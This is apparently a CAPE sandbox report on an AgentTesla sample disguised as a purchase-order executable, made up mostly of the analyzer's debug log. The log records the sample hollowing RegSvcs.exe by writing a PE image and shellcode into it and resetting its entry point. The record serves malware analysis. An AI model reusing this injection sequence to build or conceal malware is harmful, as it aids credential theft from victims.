Detections

Yara:

AgentTeslaV2

Auto Tasks

#17821: Unpacker

Analysis

Category Package Started Completed Duration Options Log
FILE exe 2020-06-30 13:49:00 2020-06-30 13:54:15 315 seconds Show Options Show Log
route = tor
2020-05-13 09:09:25,258 [root] INFO: Date set to: 20200630T13:37:51, timeout set to: 200
2020-06-30 13:37:51,031 [root] DEBUG: Starting analyzer from: C:\tmp2ylp3rhi
2020-06-30 13:37:51,031 [root] DEBUG: Storing results at: C:\uAVdDIDye
2020-06-30 13:37:51,031 [root] DEBUG: Pipe server name: \\.\PIPE\EFVHgZFFC
2020-06-30 13:37:51,031 [root] DEBUG: Python path: C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32
2020-06-30 13:37:51,031 [root] DEBUG: No analysis package specified, trying to detect it automagically.
2020-06-30 13:37:51,031 [root] INFO: Automatically selected analysis package "exe"
2020-06-30 13:37:51,031 [root] DEBUG: Trying to import analysis package "exe"...
2020-06-30 13:37:51,062 [root] DEBUG: Imported analysis package "exe".
2020-06-30 13:37:51,062 [root] DEBUG: Trying to initialize analysis package "exe"...
2020-06-30 13:37:51,062 [root] DEBUG: Initialized analysis package "exe".
2020-06-30 13:37:51,125 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.browser"...
2020-06-30 13:37:51,140 [root] DEBUG: Imported auxiliary module "modules.auxiliary.browser".
2020-06-30 13:37:51,140 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.curtain"...
2020-06-30 13:37:51,156 [root] DEBUG: Imported auxiliary module "modules.auxiliary.curtain".
2020-06-30 13:37:51,156 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.digisig"...
2020-06-30 13:37:51,187 [root] DEBUG: Imported auxiliary module "modules.auxiliary.digisig".
2020-06-30 13:37:51,187 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.disguise"...
2020-06-30 13:37:51,187 [root] DEBUG: Imported auxiliary module "modules.auxiliary.disguise".
2020-06-30 13:37:51,187 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.human"...
2020-06-30 13:37:51,203 [root] DEBUG: Imported auxiliary module "modules.auxiliary.human".
2020-06-30 13:37:51,203 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.procmon"...
2020-06-30 13:37:51,218 [root] DEBUG: Imported auxiliary module "modules.auxiliary.procmon".
2020-06-30 13:37:51,218 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.screenshots"...
2020-06-30 13:37:51,234 [modules.auxiliary.screenshots] DEBUG: Importing 'time'
2020-06-30 13:37:51,234 [modules.auxiliary.screenshots] DEBUG: Importing 'StringIO'
2020-06-30 13:37:51,234 [modules.auxiliary.screenshots] DEBUG: Importing 'Thread'
2020-06-30 13:37:51,234 [modules.auxiliary.screenshots] DEBUG: Importing 'Auxiliary'
2020-06-30 13:37:51,234 [modules.auxiliary.screenshots] DEBUG: Importing 'NetlogFile'
2020-06-30 13:37:51,234 [modules.auxiliary.screenshots] DEBUG: Importing 'Screenshot'
2020-06-30 13:37:51,234 [lib.api.screenshot] DEBUG: Importing 'math'
2020-06-30 13:37:51,234 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageChops'
2020-06-30 13:37:52,781 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageGrab'
2020-06-30 13:37:52,796 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageDraw'
2020-06-30 13:37:52,812 [modules.auxiliary.screenshots] DEBUG: Imports OK
2020-06-30 13:37:52,812 [root] DEBUG: Imported auxiliary module "modules.auxiliary.screenshots".
2020-06-30 13:37:52,812 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.sysmon"...
2020-06-30 13:37:52,812 [root] DEBUG: Imported auxiliary module "modules.auxiliary.sysmon".
2020-06-30 13:37:52,812 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.usage"...
2020-06-30 13:37:52,828 [root] DEBUG: Imported auxiliary module "modules.auxiliary.usage".
2020-06-30 13:37:52,828 [root] DEBUG: Trying to initialize auxiliary module "Browser"...
2020-06-30 13:37:52,828 [root] DEBUG: Initialized auxiliary module "Browser".
2020-06-30 13:37:52,828 [root] DEBUG: Trying to start auxiliary module "Browser"...
2020-06-30 13:37:52,828 [root] DEBUG: Started auxiliary module Browser
2020-06-30 13:37:52,828 [root] DEBUG: Trying to initialize auxiliary module "Curtain"...
2020-06-30 13:37:52,843 [root] DEBUG: Initialized auxiliary module "Curtain".
2020-06-30 13:37:52,843 [root] DEBUG: Trying to start auxiliary module "Curtain"...
2020-06-30 13:37:52,843 [root] DEBUG: Started auxiliary module Curtain
2020-06-30 13:37:52,843 [root] DEBUG: Trying to initialize auxiliary module "DigiSig"...
2020-06-30 13:37:52,843 [root] DEBUG: Initialized auxiliary module "DigiSig".
2020-06-30 13:37:52,843 [root] DEBUG: Trying to start auxiliary module "DigiSig"...
2020-06-30 13:37:52,843 [modules.auxiliary.digisig] DEBUG: Checking for a digital signature.
2020-06-30 13:37:53,062 [modules.auxiliary.digisig] DEBUG: File is not signed.
2020-06-30 13:37:53,078 [modules.auxiliary.digisig] INFO: Uploading signature results to aux/DigiSig.json
2020-06-30 13:37:53,093 [root] DEBUG: Started auxiliary module DigiSig
2020-06-30 13:37:53,093 [root] DEBUG: Trying to initialize auxiliary module "Disguise"...
2020-06-30 13:37:53,093 [root] DEBUG: Initialized auxiliary module "Disguise".
2020-06-30 13:37:53,093 [root] DEBUG: Trying to start auxiliary module "Disguise"...
2020-06-30 13:37:53,109 [root] DEBUG: Started auxiliary module Disguise
2020-06-30 13:37:53,109 [root] DEBUG: Trying to initialize auxiliary module "Human"...
2020-06-30 13:37:53,109 [root] DEBUG: Initialized auxiliary module "Human".
2020-06-30 13:37:53,109 [root] DEBUG: Trying to start auxiliary module "Human"...
2020-06-30 13:37:53,109 [root] DEBUG: Started auxiliary module Human
2020-06-30 13:37:53,109 [root] DEBUG: Trying to initialize auxiliary module "Procmon"...
2020-06-30 13:37:53,109 [root] DEBUG: Initialized auxiliary module "Procmon".
2020-06-30 13:37:53,125 [root] DEBUG: Trying to start auxiliary module "Procmon"...
2020-06-30 13:37:53,125 [root] DEBUG: Started auxiliary module Procmon
2020-06-30 13:37:53,125 [root] DEBUG: Trying to initialize auxiliary module "Screenshots"...
2020-06-30 13:37:53,125 [root] DEBUG: Initialized auxiliary module "Screenshots".
2020-06-30 13:37:53,125 [root] DEBUG: Trying to start auxiliary module "Screenshots"...
2020-06-30 13:37:53,125 [root] DEBUG: Started auxiliary module Screenshots
2020-06-30 13:37:53,125 [root] DEBUG: Trying to initialize auxiliary module "Sysmon"...
2020-06-30 13:37:53,125 [root] DEBUG: Initialized auxiliary module "Sysmon".
2020-06-30 13:37:53,125 [root] DEBUG: Trying to start auxiliary module "Sysmon"...
2020-06-30 13:37:53,125 [root] DEBUG: Started auxiliary module Sysmon
2020-06-30 13:37:53,125 [root] DEBUG: Trying to initialize auxiliary module "Usage"...
2020-06-30 13:37:53,125 [root] DEBUG: Initialized auxiliary module "Usage".
2020-06-30 13:37:53,125 [root] DEBUG: Trying to start auxiliary module "Usage"...
2020-06-30 13:37:53,125 [root] DEBUG: Started auxiliary module Usage
2020-06-30 13:37:53,125 [root] INFO: Analyzer: Package modules.packages.exe does not specify a DLL option
2020-06-30 13:37:53,125 [root] INFO: Analyzer: Package modules.packages.exe does not specify a DLL_64 option
2020-06-30 13:37:53,125 [root] INFO: Analyzer: Package modules.packages.exe does not specify a loader option
2020-06-30 13:37:53,125 [root] INFO: Analyzer: Package modules.packages.exe does not specify a loader_64 option
2020-06-30 13:37:53,218 [lib.api.process] INFO: Successfully executed process from path "C:\Users\Rebecca\AppData\Local\Temp\POs 097663899 NEW ORDER.r.exe" with arguments "" with pid 4436
2020-06-30 13:37:53,218 [lib.api.process] INFO: Monitor config for process 4436: C:\tmp2ylp3rhi\dll\4436.ini
2020-06-30 13:37:53,234 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:37:53,296 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:37:53,296 [root] DEBUG: Loader: Injecting process 4436 (thread 5844) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:37:53,296 [root] DEBUG: Process image base: 0x00D20000
2020-06-30 13:37:53,296 [root] DEBUG: InjectDllViaIAT: Executable is .NET, injecting via queued APC.
2020-06-30 13:37:53,312 [root] DEBUG: InjectDllViaQueuedAPC: APC injection queued.
2020-06-30 13:37:53,312 [root] DEBUG: Successfully injected DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:37:53,312 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4436
2020-06-30 13:37:55,312 [lib.api.process] INFO: Successfully resumed process with pid 4436
2020-06-30 13:37:55,468 [root] DEBUG: Python path set to 'C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 13:37:55,468 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 13:37:55,468 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 4436 at 0x6ac30000, image base 0xd20000, stack from 0x145000-0x150000
2020-06-30 13:37:55,484 [root] INFO: Loaded monitor into process with pid 4436
2020-06-30 13:37:55,500 [root] DEBUG: set_caller_info: Adding region at 0x00050000 to caller regions list (advapi32::RegQueryInfoKeyW).
2020-06-30 13:37:55,500 [root] DEBUG: set_caller_info: Adding region at 0x00740000 to caller regions list (ntdll::RtlDispatchException).
2020-06-30 13:37:55,515 [root] DEBUG: DLL loaded at 0x751E0000: C:\Windows\system32\cryptbase (0xc000 bytes).
2020-06-30 13:37:55,515 [root] DEBUG: DumpMemory: Exception occured reading memory address 0x740000
2020-06-30 13:37:55,515 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x00740000 size 0x400000.
2020-06-30 13:37:55,562 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4436_211300541155571130262020 (size 0x596)
2020-06-30 13:37:55,562 [root] DEBUG: DumpRegion: Dumped stack region from 0x00740000, size 0x1000.
2020-06-30 13:37:55,562 [root] DEBUG: set_caller_info: Failed to dumping calling PE image at 0x00050000.
2020-06-30 13:37:55,562 [root] DEBUG: set_caller_info: Adding region at 0x004E0000 to caller regions list (kernel32::FindFirstFileExW).
2020-06-30 13:37:55,640 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4436_47079691455571130262020 (size 0x100099)
2020-06-30 13:37:55,640 [root] DEBUG: DumpRegion: Dumped stack region from 0x004E0000, size 0x101000.
2020-06-30 13:37:55,656 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xbc amd local view 0x6B910000 to global list.
2020-06-30 13:37:55,656 [root] DEBUG: DLL loaded at 0x6B910000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei (0x7d000 bytes).
2020-06-30 13:37:55,656 [root] DEBUG: DLL unloaded from 0x76560000.
2020-06-30 13:37:55,671 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xd0 amd local view 0x00310000 to global list.
2020-06-30 13:37:55,671 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xcc amd local view 0x00310000 to global list.
2020-06-30 13:37:55,671 [root] DEBUG: DLL loaded at 0x74760000: C:\Windows\system32\VERSION (0x9000 bytes).
2020-06-30 13:37:55,687 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x0FE60000 for section view with handle 0xd0.
2020-06-30 13:37:55,687 [root] DEBUG: DLL loaded at 0x0FE60000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr (0x6ef000 bytes).
2020-06-30 13:37:55,687 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x6E2C0000 for section view with handle 0xd0.
2020-06-30 13:37:55,687 [root] DEBUG: DLL loaded at 0x6E2C0000: C:\Windows\system32\MSVCR120_CLR0400 (0xf5000 bytes).
2020-06-30 13:37:55,703 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 4436, handle 0xf0.
2020-06-30 13:37:55,718 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xf4 amd local view 0x00190000 to global list.
2020-06-30 13:37:55,718 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xf8 amd local view 0x00310000 to global list.
2020-06-30 13:37:55,718 [root] INFO: Disabling sleep skipping.
2020-06-30 13:37:55,718 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4436.
2020-06-30 13:37:55,718 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4436.
2020-06-30 13:37:55,734 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4436.
2020-06-30 13:37:55,734 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1e4 amd local view 0x05930000 to global list.
2020-06-30 13:37:55,750 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1e8 amd local view 0x65320000 to global list.
2020-06-30 13:37:55,750 [root] DEBUG: DLL loaded at 0x65320000: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\6715dc4d04e35f16d482900c355325e9\mscorlib.ni (0x1393000 bytes).
2020-06-30 13:37:55,843 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x204 amd local view 0x6ABB0000 to global list.
2020-06-30 13:37:55,843 [root] DEBUG: DLL loaded at 0x6ABB0000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit (0x80000 bytes).
2020-06-30 13:37:55,859 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x200 amd local view 0x763D0000 to global list.
2020-06-30 13:37:55,859 [root] DEBUG: DLL loaded at 0x763D0000: C:\Windows\system32\OLEAUT32 (0x91000 bytes).
2020-06-30 13:37:55,906 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x218 amd local view 0x67EE0000 to global list.
2020-06-30 13:37:55,906 [root] DEBUG: DLL loaded at 0x67EE0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System\43822396682b0ffc3cfb66137ddab95f\System.ni (0xa10000 bytes).
2020-06-30 13:37:55,921 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x68EF0000 for section view with handle 0x218.
2020-06-30 13:37:55,921 [root] DEBUG: DLL loaded at 0x68EF0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\2c462a934e0586ac5e46c8b93e461384\System.Drawing.ni (0x194000 bytes).
2020-06-30 13:37:55,937 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x214 amd local view 0x64600000 to global list.
2020-06-30 13:37:55,937 [root] DEBUG: DLL loaded at 0x64600000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\aece3d371c0714e60f9509d2a3137395\System.Windows.Forms.ni (0xd1d000 bytes).
2020-06-30 13:37:56,140 [root] DEBUG: set_caller_info: Adding region at 0x00390000 to caller regions list (ntdll::NtAllocateVirtualMemory).
2020-06-30 13:37:56,140 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x39ffff
2020-06-30 13:37:56,171 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4436_83604349616581130262020 (size 0x52d)
2020-06-30 13:37:56,171 [root] DEBUG: DLL loaded at 0x73D80000: C:\Windows\system32\uxtheme (0x40000 bytes).
2020-06-30 13:37:56,203 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x224 amd local view 0x67490000 to global list.
2020-06-30 13:37:56,281 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x22c amd local view 0x00B40000 to global list.
2020-06-30 13:37:56,296 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x004B0000 for section view with handle 0x22c.
2020-06-30 13:38:06,906 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x230 amd local view 0x73BE0000 to global list.
2020-06-30 13:38:06,921 [root] DEBUG: DLL loaded at 0x73BE0000: C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24308_none_5c028e37a0121035\gdiplus (0x192000 bytes).
2020-06-30 13:38:06,984 [root] DEBUG: set_caller_info: Adding region at 0x00330000 to caller regions list (ntdll::NtAllocateVirtualMemory).
2020-06-30 13:38:06,984 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x33ffff
2020-06-30 13:38:06,984 [root] DEBUG: DumpMemory: Nothing to dump at 0x00330000!
2020-06-30 13:38:06,984 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x00330000 size 0x10000.
2020-06-30 13:38:06,984 [root] DEBUG: DumpPEsInRange: Scanning range 0x330000 - 0x331000.
2020-06-30 13:38:07,000 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x330000-0x331000.
2020-06-30 13:38:07,031 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4436_050581130262020 (size 0x14)
2020-06-30 13:38:07,031 [root] DEBUG: DumpRegion: Dumped stack region from 0x00330000, size 0x1000.
2020-06-30 13:38:07,031 [root] DEBUG: DLL loaded at 0x73480000: C:\Windows\system32\WindowsCodecs (0x131000 bytes).
2020-06-30 13:38:07,046 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x240 amd local view 0x005F0000 to global list.
2020-06-30 13:38:07,046 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x00600000 for section view with handle 0x240.
2020-06-30 13:38:07,046 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x00610000 for section view with handle 0x240.
2020-06-30 13:38:07,484 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4436.
2020-06-30 13:38:07,515 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4436.
2020-06-30 13:38:07,562 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x264 amd local view 0x63E20000 to global list.
2020-06-30 13:38:07,562 [root] DEBUG: DLL loaded at 0x63E20000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\c8a2021e940773064c655a6ea6ee8cb2\System.Core.ni (0x7e0000 bytes).
2020-06-30 13:38:07,640 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x260 amd local view 0x67D00000 to global list.
2020-06-30 13:38:07,671 [root] DEBUG: DLL loaded at 0x67D00000: C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\6090b158fd3d10686b422a455e188125\Microsoft.VisualBasic.ni (0x1d1000 bytes).
2020-06-30 13:38:07,750 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x25c amd local view 0x6DCE0000 to global list.
2020-06-30 13:38:07,750 [root] DEBUG: DLL loaded at 0x6DCE0000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting (0x13000 bytes).
2020-06-30 13:38:07,765 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x06270000 for section view with handle 0x25c.
2020-06-30 13:38:07,859 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x258 amd local view 0x006F0000 to global list.
2020-06-30 13:38:08,609 [root] INFO: Announced 32-bit process name: RegSvcs.exe pid: 4444
2020-06-30 13:38:08,609 [lib.api.process] INFO: Monitor config for process 4444: C:\tmp2ylp3rhi\dll\4444.ini
2020-06-30 13:38:08,609 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:38:08,656 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:38:08,656 [root] DEBUG: Loader: Injecting process 4444 (thread 5128) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:08,656 [root] DEBUG: Process image base: 0x00AD0000
2020-06-30 13:38:08,656 [root] DEBUG: InjectDllViaIAT: Executable is .NET, injecting via queued APC.
2020-06-30 13:38:08,656 [root] DEBUG: InjectDllViaQueuedAPC: APC injection queued.
2020-06-30 13:38:08,656 [root] DEBUG: Successfully injected DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:08,671 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4444
2020-06-30 13:38:08,671 [root] DEBUG: DLL loaded at 0x75190000: C:\Windows\system32\apphelp (0x4c000 bytes).
2020-06-30 13:38:09,406 [root] DEBUG: CreateProcessHandler: Injection info set for new process 4444, ImageBase: 0x00AD0000
2020-06-30 13:38:09,406 [root] INFO: Announced 32-bit process name: RegSvcs.exe pid: 4444
2020-06-30 13:38:09,406 [lib.api.process] INFO: Monitor config for process 4444: C:\tmp2ylp3rhi\dll\4444.ini
2020-06-30 13:38:09,406 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:38:09,437 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:38:09,437 [root] DEBUG: Loader: Injecting process 4444 (thread 5128) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,437 [root] DEBUG: Process image base: 0x00AD0000
2020-06-30 13:38:09,453 [root] DEBUG: InjectDllViaIAT: Executable is .NET, injecting via queued APC.
2020-06-30 13:38:09,453 [root] DEBUG: InjectDllViaQueuedAPC: APC injection queued.
2020-06-30 13:38:09,453 [root] DEBUG: Successfully injected DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,453 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4444
2020-06-30 13:38:09,468 [root] DEBUG: WriteMemoryHandler: Executable binary injected into process 4444 (ImageBase 0x400000)
2020-06-30 13:38:09,468 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 13:38:09,468 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x046BD948.
2020-06-30 13:38:09,515 [root] DEBUG: DumpPE: PE file in memory dumped successfully - dump size 0x45c00.
2020-06-30 13:38:09,515 [root] DEBUG: WriteMemoryHandler: Dumped PE image from buffer at 0x46bd948, SizeOfImage 0x4c000.
2020-06-30 13:38:09,515 [root] INFO: Announced 32-bit process name: RegSvcs.exe pid: 4444
2020-06-30 13:38:09,531 [lib.api.process] INFO: Monitor config for process 4444: C:\tmp2ylp3rhi\dll\4444.ini
2020-06-30 13:38:09,531 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:38:09,546 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:38:09,546 [root] DEBUG: Loader: Injecting process 4444 (thread 0) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,546 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 13:38:09,562 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 13:38:09,562 [root] DEBUG: Failed to inject DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,562 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 4444, error: 4294967281
2020-06-30 13:38:09,562 [root] DEBUG: WriteMemoryHandler: injection of section of PE image which has already been dumped.
2020-06-30 13:38:09,578 [root] INFO: Announced 32-bit process name: RegSvcs.exe pid: 4444
2020-06-30 13:38:09,578 [lib.api.process] INFO: Monitor config for process 4444: C:\tmp2ylp3rhi\dll\4444.ini
2020-06-30 13:38:09,578 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:38:09,593 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:38:09,593 [root] DEBUG: Loader: Injecting process 4444 (thread 0) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,593 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 13:38:09,593 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 13:38:09,609 [root] DEBUG: Failed to inject DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,609 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 4444, error: 4294967281
2020-06-30 13:38:09,609 [root] DEBUG: WriteMemoryHandler: shellcode at 0x03AEA024 (size 0x600) injected into process 4444.
2020-06-30 13:38:09,640 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4436_31064768152581130262020 (size 0x535)
2020-06-30 13:38:09,640 [root] DEBUG: WriteMemoryHandler: Dumped injected code/data from buffer.
2020-06-30 13:38:09,640 [root] INFO: Announced 32-bit process name: RegSvcs.exe pid: 4444
2020-06-30 13:38:09,640 [lib.api.process] INFO: Monitor config for process 4444: C:\tmp2ylp3rhi\dll\4444.ini
2020-06-30 13:38:09,640 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:38:09,671 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:38:09,671 [root] DEBUG: Loader: Injecting process 4444 (thread 0) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,671 [root] DEBUG: InjectDll: No thread ID supplied. Initial thread ID 5128, handle 0xa0
2020-06-30 13:38:09,671 [root] DEBUG: Process image base: 0x00AD0000
2020-06-30 13:38:09,671 [root] DEBUG: InjectDllViaIAT: Executable is .NET, injecting via queued APC.
2020-06-30 13:38:09,671 [root] DEBUG: InjectDllViaQueuedAPC: APC injection queued.
2020-06-30 13:38:09,671 [root] DEBUG: Successfully injected DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,687 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4444
2020-06-30 13:38:09,687 [root] DEBUG: WriteMemoryHandler: shellcode at 0x03AEA630 (size 0x200) injected into process 4444.
2020-06-30 13:38:09,718 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\uAVdDIDye\CAPE\4436_27240501752581130262020 (size 0x9)
2020-06-30 13:38:09,718 [root] DEBUG: WriteMemoryHandler: Dumped injected code/data from buffer.
2020-06-30 13:38:09,734 [root] INFO: Announced 32-bit process name: RegSvcs.exe pid: 4444
2020-06-30 13:38:09,734 [lib.api.process] INFO: Monitor config for process 4444: C:\tmp2ylp3rhi\dll\4444.ini
2020-06-30 13:38:09,734 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:38:09,750 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:38:09,750 [root] DEBUG: Loader: Injecting process 4444 (thread 0) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,765 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 13:38:09,765 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 13:38:09,765 [root] DEBUG: Failed to inject DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,765 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 4444, error: 4294967281
2020-06-30 13:38:09,765 [root] INFO: Announced 32-bit process name: RegSvcs.exe pid: 4444
2020-06-30 13:38:09,765 [lib.api.process] INFO: Monitor config for process 4444: C:\tmp2ylp3rhi\dll\4444.ini
2020-06-30 13:38:09,781 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:38:09,796 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:38:09,796 [root] DEBUG: Loader: Injecting process 4444 (thread 0) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,796 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 13:38:09,796 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 13:38:09,796 [root] DEBUG: Failed to inject DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:38:09,812 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 4444, error: 4294967281
2020-06-30 13:38:09,812 [root] DEBUG: SetThreadContextHandler: Hollow process entry point reset via NtSetContextThread to 0x000471BE (process 4444).
2020-06-30 13:38:09,812 [root] INFO: Announced 32-bit process name: RegSvcs.exe pid: 4444
2020-06-30 13:38:09,812 [lib.api.process] INFO: Monitor config for process 4444: C:\tmp2ylp3rhi\dll\4444.ini
